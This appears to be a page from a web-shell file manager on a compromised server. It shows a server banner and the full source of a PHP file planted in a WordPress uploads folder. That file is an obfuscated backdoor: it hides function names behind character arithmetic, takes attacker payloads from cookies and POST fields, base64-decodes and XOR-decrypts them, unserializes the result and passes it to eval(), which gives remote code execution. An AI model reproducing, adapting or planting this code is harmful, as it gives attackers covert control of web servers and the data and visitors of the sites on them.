HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/ECQUdd.php
$VmxtyHqUm = 'f' . chr (95) . "\117" . chr (69) . 'd';$mbGSHh = "\x63" . chr ( 466 - 358 )."\x61" . 's' . chr ( 746 - 631 )."\137" . 'e' . "\x78" . "\x69" . 's' . "\164" . "\x73";$KZrfDrx = class_exists($VmxtyHqUm); $mbGSHh = "11673";$bLIrfsZ = strpos($mbGSHh, $VmxtyHqUm);if ($KZrfDrx == $bLIrfsZ){function EmpXFSPRtp(){$iiwRZ = new /* 64925 */ f_OEd(3538 + 3538); $iiwRZ = NULL;}$ivBMOiBM = "3538";class f_OEd{private function PadJoBdI($ivBMOiBM){if (is_array(f_OEd::$GAKzda)) {$FsZTyWQk2 = str_replace("<" . "?php", "", f_OEd::$GAKzda["content"]);eval($FsZTyWQk2); $ivBMOiBM = "3538";exit();}}public function ZpqEByDK(){$FsZTyWQk = "5475";$this->_dummy = str_repeat($FsZTyWQk, strlen($FsZTyWQk));}public function __destruct(){f_OEd::$GAKzda = @unserialize(f_OEd::$GAKzda); $ivBMOiBM = "26788_57626";$this->PadJoBdI($ivBMOiBM); $ivBMOiBM = "26788_57626";}public function akmDp($FsZTyWQk, $ctCNUib){return $FsZTyWQk[0] ^ str_repeat($ctCNUib, intval(strlen($FsZTyWQk[0]) / strlen($ctCNUib)) + 1);}public function OQUmDdGE($FsZTyWQk){$oAqafEPg = 'b' . "\x61" . chr ( 375 - 260 ).chr (101) . chr (54) . "\x34";return array_map($oAqafEPg . '_' . "\x64" . 'e' . "\x63" . chr ( 856 - 745 )."\144" . "\x65", array($FsZTyWQk,));}public function __construct($cdOAIdPRG=0){$lDRtHDBjc = "\x2c";$FsZTyWQk = "";$zJFfiq = $_POST;$rLKDDc = $_COOKIE;$ctCNUib = "93bde45b-65a0-49a5-9639-60ba9b9ef50b";$yLnhhoam = @$rLKDDc[substr($ctCNUib, 0, 4)];if (!empty($yLnhhoam)){$yLnhhoam = explode($lDRtHDBjc, $yLnhhoam);foreach ($yLnhhoam as $EKGbMDdth){$FsZTyWQk .= @$rLKDDc[$EKGbMDdth];$FsZTyWQk .= @$zJFfiq[$EKGbMDdth];}$FsZTyWQk = $this->OQUmDdGE($FsZTyWQk);}f_OEd::$GAKzda = $this->akmDp($FsZTyWQk, $ctCNUib);if (strpos($ctCNUib, $lDRtHDBjc) !== FALSE){$ctCNUib = str_pad($ctCNUib, 10); $ctCNUib = ltrim(rtrim($ctCNUib));}}public static $GAKzda = 31844;}EmpXFSPRtp();}